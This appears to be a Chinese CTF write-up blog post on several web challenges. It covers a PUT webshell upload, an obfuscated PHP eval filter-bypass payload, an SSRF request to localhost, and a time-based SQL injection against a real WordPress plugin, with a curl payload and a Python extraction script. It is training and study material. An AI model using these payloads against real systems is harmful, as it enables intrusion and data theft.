一些web题
source link: https://ethe448.github.io/2022/10/20/%E4%B8%80%E4%BA%9Bweb%E9%A2%98/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
NSSRound#1
basic_check
打开之后只有一行代码,这里需要用nikto扫一下
Nikto是一款开放源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件,能在230多种服务器上扫描出2600多种有潜在危险的文件、CGI及其他问题,它可以扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机允许的http模式等等。它也使用LibWhiske库,但通常比Whisker更新的更为频繁。Nikto是网管安全人员必备的WEB审计工具之一。
显示可以通过put直接上传文件,直接写马
HNCTF
[Week1]Challenge__rce
自增的rce,但是有一些特别的姿势
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
过滤了很多,只能用 $ _ () [] {} , . = + ;
和数字 0-9 以及其它非 A-Z a-iz 的 Unicode 字符。但是如果参考p牛博客里的自增rce姿势的话长度又会超出限制。题目的 hint 灵感来源于 ctfshow 七夕杯的 shellme_revenge
, 那题用的是 php0/0=NAN和1/0=INF
的特性,但是需要 /
运算符参与。而这道题里是通过构造chr函数,然后再利用chr来构造$_GET,chr的每个字母都可以通过数组类型Array取出来。
$_=([].¥){3};$_++;$_.=++$_;$_++;$_++;$_++; $_++;$_++;$_.=([].¥){2};$_=_.$_(71).$_(69).$_(84);($$_{0})($$_{1});
[WEEK2]ez_ssrf
flag在flag.php下,要求本地登录,这里不是修改xff和referer头可以实现的,看index.php里的代码就能猜到是关于ssrf的题。看到fsockopen函数,然后我们可以控制ip,port和data,所以只要将ip设置为127.0.0.1,port=80,data为我们构造的http请求包,就可以实现本地登录
编码之后提交
host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo%3d
[WEEK2]easy_unser
没啥好写的,就记住is_file不将伪协议当作文件,但highlight_file认为伪协议可以是文件就行了
[WEEK2]Ohmywordpress
wordpress这里有两个插件
其中 simple-link-directory, 存在 sql 注入
https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
payload
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'
后边就是sql时间盲注了
抄了个脚本
import requests
import time
url = 'http://1.14.71.254:28504/wp-admin/admin-ajax.php'
dicts = r'NSSCTF{-abcdef0123456789}'
flag = ''
for i in range(1,99999):
for s in dicts:
payload = "(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{},1))={}, sleep(5),0))enz)".format(i,ord(s))
start_time = time.time()
print(s)
res = requests.post(url,data={
'action': 'qcopd_upvote_action',
'post_id': payload
})
stop_time = time.time()
if stop_time - start_time >= 5:
flag += s
print('FOUND!!!',flag)
break
[WEEK3]Fun_php
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK